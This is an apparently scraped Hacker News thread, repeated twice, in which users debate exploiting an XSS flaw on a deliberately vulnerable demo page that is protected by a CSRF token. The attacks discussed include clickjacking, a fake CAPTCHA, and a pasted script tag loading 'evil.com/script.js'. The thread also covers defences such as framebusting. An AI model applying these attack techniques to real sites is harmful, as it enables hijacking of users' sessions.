4 ms·

Could you demonstrate that for me please? Here's a simple little page that is vulnerable to XSS but not to CSRF: http://brlewis.com/demo/xss-csrf.html http://

by brlewis 15y ago

Could you demonstrate that for me please? Here's a simple little page that is vulnerable to XSS but not to CSRF: http://brlewis.com/demo/xss-csrf.html http://brlewis.com/demo/xss-csrf.html It works by GET or POST, so it should only take you a minute to craft a link that you can post right here in HN that makes that page pop an alert up in my browser.

tripzilch 15y ago
Ooh, that's a good one. When I said that, I wasn't thinking about the CSRF token being required with the XSS-able form. So yeah, that partially mitigates the problem. It can still be done, however. But it'll take more than a few minutes, because I have only read about and played with PoCs of the relevant attacks, never implemented one like that myself. One approach is "clickjacking". It involves putting your page in an IFRAME that is 100% alpha transparent, in a containing page. This is positioned over an image that says "CLICK TO PLAY" (or something) in such a way that the (invisible) button on your page aligns with the image. When you click the image, you're actually clicking the button on your site. Javascript in the containing page monitors when this happens and when it does, it can read the CSRF token from the URL that the IFRAME now points to. Once it knows the token, the XSS attack is straightforward. Now this only works because your form submits the CSRF token via a GET request, so I can read it from the URL. If your form would only accept a POST request, I'm not entirely sure of how I'd do it. I need to think about that for a little while longer, it's an interesting challenge, though. There are some (IMO) far-fetched clickjacking-like attacks that require some social engineering (of the containing page) to get the user to perform certain actions that could do it. One way is to wrap a viewsource: URL to your page in an IFRAME (only works in Firefox, afaik) and position and dress it up so that only the CSRF token is visible and it looks like a CAPTCHA. The user would enter the CAPTCHA/CSRF and then XSS is possible. But that's not very elegant, and I'm not entirely sure if Firefox still allows doing this. Also it's not guaranteed to succeed if the user can't be bothered to enter a CAPTCHA to see the cute kitten video. So in that case I'm not sure. One surefire way to prevent these and related clickjacking-style attacks is to put some framebusting JS code in your site. Twitter does this to prevent clickjacking to autosubmit a those pre-filled tweet form. Check their sourcecode, the way they do it is pretty thorough (even taking into account race conditions that might cause the submit click to go through just before the frame is busted). I'm going to have to think about this for a while (how to do it if it were a POST form, that is. I'm fairly sure I could get the GET variant to work easily--I hope you could follow that example). The way you put a CSRF token in that form definitely makes it non-trivial, though. (BTW for anyone else to attempt a shot at this: the CSRF token is not actually the same value every time, but random generated and fixed with the session cookie, so clear your cookies before you try your brilliant exploit)
- mkjones 15y ago
  I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin. However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user. This sounds far-fetched, but I've seen successful attacks like this in the wild.
  - tripzilch 15y ago
    > I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin. Ok--I wondered about that. But I figured BeEF has that capability so it must be possible somehow. At least, as far as I understand BeEF loads the page in a fullscreen IFRAME controlling the browser from the containing page. Guess I was wrong. No other way to pull it off? Cause the token is right there in the URL, it's gotta be leaked somewhere ... :-)
    - mkjones 15y ago
      I'm not that familiar with BeEF, but it is possible to set the location on child iframes, just not get it. It also looks like BeEF is running on your local machine, so they could presumably do whatever they want to bypass the browser's security model.
mkjones 15y ago
This should work: http://mkjon.es/xss.html http://mkjon.es/xss.html (note that your server seems to hang if I put "<script>" in the GET params, but assuming that works and thus the page is vulnerable to XSS like you intended, then this works). Just pretend the <img /> tag is a script tag. Of course, this is kind of cheating - I exploit the fact that there's a CSRF bug on your web site. But that's kind of the point - just saying "oh well this is an XSS but it doesn't matter because this other unrelated thing prevents it" is bad security. It's entirely possible, even likely, that someone will come along at a later date and change that other seemingly-unrelated thing, having no idea that they're introducing a security hole in the process.
- brlewis 15y ago
  Cool! I'll look into the CSRF bug. EDIT: Using a vulnerability in another demo page definitely is cheating. But I do like the hack. To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites. EDIT 2: There was another demo on my server that let you set arbitrary cookies. This exploit relied on setting the JSESSIONID cookie. If a similar exploit existed on Apple's web site, presumably this would defeat the purpose of the exploit, since the target user would no longer be authenticated as him/herself. I changed the cookie demo not to allow arbitrary cookie names, just to prevent it interfering with other demos.
  - mkjones 15y ago
    Sorry, didn't mean to put words in your mouth. I just wanted to point out that even when it seems like an XSS doesn't demonstrate a vulnerability, some of your assumptions may be wrong and it actually does. Security is hard, let's go shopping!
    - brlewis 15y ago
      Then I think we agree: These examples might or might not be vulnerabilities, though from appearances two of them seem very likely to be.
itsnotvalid 15y ago
It however would be odd for GET requests to contain anti-CSRF token. In such case, users cannot pass any links that have any parameters and the session-specific token to others. This seems completely defeat the purpose of GET requests.

by brlewis 15y ago

tripzilch 15y ago

Ooh, that's a good one. When I said that, I wasn't thinking about the CSRF token being required with the XSS-able form. So yeah, that partially mitigates the problem. It can still be done, however. But it'll take more than a few minutes, because I have only read about and played with PoCs of the relevant attacks, never implemented one like that myself. One approach is "clickjacking". It involves putting your page in an IFRAME that is 100% alpha transparent, in a containing page. This is positioned over an image that says "CLICK TO PLAY" (or something) in such a way that the (invisible) button on your page aligns with the image. When you click the image, you're actually clicking the button on your site. Javascript in the containing page monitors when this happens and when it does, it can read the CSRF token from the URL that the IFRAME now points to. Once it knows the token, the XSS attack is straightforward. Now this only works because your form submits the CSRF token via a GET request, so I can read it from the URL. If your form would only accept a POST request, I'm not entirely sure of how I'd do it. I need to think about that for a little while longer, it's an interesting challenge, though. There are some (IMO) far-fetched clickjacking-like attacks that require some social engineering (of the containing page) to get the user to perform certain actions that could do it. One way is to wrap a viewsource: URL to your page in an IFRAME (only works in Firefox, afaik) and position and dress it up so that only the CSRF token is visible and it looks like a CAPTCHA. The user would enter the CAPTCHA/CSRF and then XSS is possible. But that's not very elegant, and I'm not entirely sure if Firefox still allows doing this. Also it's not guaranteed to succeed if the user can't be bothered to enter a CAPTCHA to see the cute kitten video. So in that case I'm not sure. One surefire way to prevent these and related clickjacking-style attacks is to put some framebusting JS code in your site. Twitter does this to prevent clickjacking to autosubmit a those pre-filled tweet form. Check their sourcecode, the way they do it is pretty thorough (even taking into account race conditions that might cause the submit click to go through just before the frame is busted). I'm going to have to think about this for a while (how to do it if it were a POST form, that is. I'm fairly sure I could get the GET variant to work easily--I hope you could follow that example). The way you put a CSRF token in that form definitely makes it non-trivial, though. (BTW for anyone else to attempt a shot at this: the CSRF token is not actually the same value every time, but random generated and fixed with the session cookie, so clear your cookies before you try your brilliant exploit)

mkjones 15y ago
I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin. However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user. This sounds far-fetched, but I've seen successful attacks like this in the wild.
- tripzilch 15y ago
  > I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin. Ok--I wondered about that. But I figured BeEF has that capability so it must be possible somehow. At least, as far as I understand BeEF loads the page in a fullscreen IFRAME controlling the browser from the containing page. Guess I was wrong. No other way to pull it off? Cause the token is right there in the URL, it's gotta be leaked somewhere ... :-)
  - mkjones 15y ago
    I'm not that familiar with BeEF, but it is possible to set the location on child iframes, just not get it. It also looks like BeEF is running on your local machine, so they could presumably do whatever they want to bypass the browser's security model.

mkjones 15y ago

This should work: http://mkjon.es/xss.html http://mkjon.es/xss.html (note that your server seems to hang if I put "<script>" in the GET params, but assuming that works and thus the page is vulnerable to XSS like you intended, then this works). Just pretend the <img /> tag is a script tag. Of course, this is kind of cheating - I exploit the fact that there's a CSRF bug on your web site. But that's kind of the point - just saying "oh well this is an XSS but it doesn't matter because this other unrelated thing prevents it" is bad security. It's entirely possible, even likely, that someone will come along at a later date and change that other seemingly-unrelated thing, having no idea that they're introducing a security hole in the process.

brlewis 15y ago
Cool! I'll look into the CSRF bug. EDIT: Using a vulnerability in another demo page definitely is cheating. But I do like the hack. To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites. EDIT 2: There was another demo on my server that let you set arbitrary cookies. This exploit relied on setting the JSESSIONID cookie. If a similar exploit existed on Apple's web site, presumably this would defeat the purpose of the exploit, since the target user would no longer be authenticated as him/herself. I changed the cookie demo not to allow arbitrary cookie names, just to prevent it interfering with other demos.
- mkjones 15y ago
  Sorry, didn't mean to put words in your mouth. I just wanted to point out that even when it seems like an XSS doesn't demonstrate a vulnerability, some of your assumptions may be wrong and it actually does. Security is hard, let's go shopping!
  - brlewis 15y ago
    Then I think we agree: These examples might or might not be vulnerabilities, though from appearances two of them seem very likely to be.

itsnotvalid 15y ago

It however would be odd for GET requests to contain anti-CSRF token. In such case, users cannot pass any links that have any parameters and the session-specific token to others. This seems completely defeat the purpose of GET requests.